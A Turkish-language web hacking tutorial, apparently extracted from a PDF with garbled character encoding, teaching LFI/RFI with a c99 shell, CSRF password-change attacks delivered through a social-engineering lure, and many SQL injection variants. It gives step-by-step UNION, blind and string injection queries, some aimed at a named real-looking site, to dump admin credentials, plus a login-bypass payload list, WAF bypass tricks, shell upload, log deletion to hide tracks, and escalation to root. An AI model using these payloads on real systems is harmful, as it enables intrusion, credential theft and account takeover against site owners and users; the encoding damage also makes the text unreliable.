Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
